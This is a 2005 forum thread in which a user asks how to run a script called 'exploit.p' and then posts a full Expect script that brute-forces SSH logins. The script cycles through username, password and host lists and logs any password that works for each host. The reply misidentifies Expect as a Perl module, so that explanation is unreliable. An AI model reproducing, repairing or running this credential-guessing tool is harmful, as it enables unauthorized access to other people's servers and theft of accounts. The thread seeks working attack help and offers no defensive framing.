Page 1 of 1
Perl scripts :)
Posted: 28 Aug 2005, 12:46
by ayu
How do i execute a perl script
ex: i have "exploit.p" on my deskop...i knew it b4....but i forgot... never used it = / but now i need it again
Posted: 28 Aug 2005, 13:29
by bad_brain
Get the
Perl environment, change the PATH variable to the bin folder and simply run the script with
perl scriptname.pl
....
Posted: 29 Aug 2005, 09:47
by ayu
When i trie to run my file it says "no such file or directory" ....yar >_<
Posted: 29 Aug 2005, 09:55
by bad_brain
When you´re in command prompt you have to
cd to the folder where the script is located...either that or you have forgotten to change the PATH-variable to the Perl bin-folder...
Posted: 29 Aug 2005, 10:03
by ayu
Yeah worked now. Thx
Posted: 29 Aug 2005, 10:13
by ayu
Tried to solve this one on my own....but once again i failed ^^
Someone that can help me?
the code im using is
#!/usr/bin/expect -f
#
set timeout 5
set dictionary [lindex $argv 0]
set file [lindex $argv 1]
set user [lindex $argv 2]
if {[llength $argv] != 3} {
puts stderr "Usage: $argv0 <dictionary-file> <hosts-file> <user-file>\n"
exit }
set tryHost [open $file r]
set tryPass [open $dictionary r]
set tryUser [open $user r]
set passwords [read $tryPass]
set hosts [read $tryHost]
set login [read $tryUser]
foreach username $login
{
foreach passwd $passwords
{
foreach ip $hosts
{
spawn ssh $username@$ip
expect ":"
send "$passwd\n"
set logFile [open $ip.log a]
expect "L"
{
puts $logFile "password for $username@$ip is $passwd\n"
close $logFile
}
set id [exp_pid]
exec kill -INT $id
}
}
}
Posted: 30 Aug 2005, 11:51
by ayu
Anyone?
Posted: 30 Aug 2005, 12:20
by bad_brain
Um, well, I just started with Perl, but it seems like the script wants to use a library which isn´t present, "expect" is a module for Perl under Linux as far as I know.
Normally a Perl script starts with
In the "usual" Perl environment "expect" isn´t available in the bin-folder, at least not in the Active State Perl one....